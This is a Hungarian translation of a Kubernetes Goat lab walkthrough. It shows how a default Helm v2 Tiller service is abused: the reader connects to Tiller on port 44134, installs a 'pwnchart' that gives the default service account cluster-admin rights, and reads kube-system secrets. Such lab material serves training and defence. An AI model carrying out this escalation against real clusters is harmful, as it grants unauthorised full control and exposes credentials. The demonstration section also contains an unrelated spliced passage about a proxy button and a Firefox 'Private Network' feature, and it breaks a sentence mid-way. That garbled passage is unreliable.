
A Helm — csomagkezelő Kuberneteshez, valami hasonló apt-get az Ubuntu számára. Ebben a jegyzetben az előző helm verziót (v2) fogjuk megnézni, amelynek alapértelmezett szolgáltatása a tiller, amely lehetővé teszi a klaszterhez való hozzáférést.
Készítsük elő a klasztert, ehhez futtassuk a parancsot:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash![]()
Demonstráció
- Ha semmit nem állítunk be külön, a helm v2 elindít egy tiller szolgáltatást, amelynek teljes adminisztrátori jogosultságai vannak a klaszterhez.
- A telepítés után a namespace-ben
kube-systemegy gomb, amely lehetővé teszi a proxy használatának aktiválását és deaktálását, valamint az állapot ellenőrzését. A Private Network funkció tesztelése csak az amerikai Firefox asztali verziójú felhasználók számára érhető el. A tesztelés során a szolgáltatás ingyenesen áll rendelkezésre, de a végső szolgáltatás valószínűlegtiller-deploy, valamint megnyílik a 44134-es port, amely a 0.0.0.0-hoz van kötve. Ezt a telnet segítségével ellenőrizhetjük.
$ telnet tiller-deploy.kube-system 44134
- Most csatlakozhatunk a tiller szolgáltatáshoz. A helm binárisát fogjuk használni a tiller szolgáltatással való kommunikációhoz:
$ helm --host tiller-deploy.kube-system:44134 version![]()
- Próbáljuk meg lekérdezni a Kubernetes klaszter titkait a namespace-ből
kube-system:
$ kubectl get secrets -n kube-system![]()
- Most létrehozhatjuk a saját chartunkat, amelyben létrehozunk egy adminisztrátori jogokkal rendelkező szerepet, és ezt a szerepet hozzárendeljük az alapértelmezett szolgáltatási fióknak. Ennek a szolgáltatási fióknak a tokenjét használva teljes hozzáférést kaptunk a klaszterünkhöz.
$ helm --host tiller-deploy.kube-system:44134 install /pwnchart
- Most, hogy a
pwncharttelepítve van, az alapértelmezett szolgáltatási fióknak teljes adminisztrátori hozzáférése van. Ellenőrizzük újra a titkok lekérdezésétkube-system
$ kubectl get secrets -n kube-system
A forgatókönyv sikeres végrehajtása attól függ, hogyan telepítették a tillert; néha az adminisztrátorok egy külön namespace-en más jogosultságokkal telepítik. A Helm 3 nem szenved ilyen sebezhetőségektől, mivel nem tartalmaz tillert.
Fordító megjegyzése: A hálózati politikák használata a forgalom kiszűrésére a klaszterben segít megvédeni az ilyen típusú sebezhetőségektől.
Forrás: habr.com
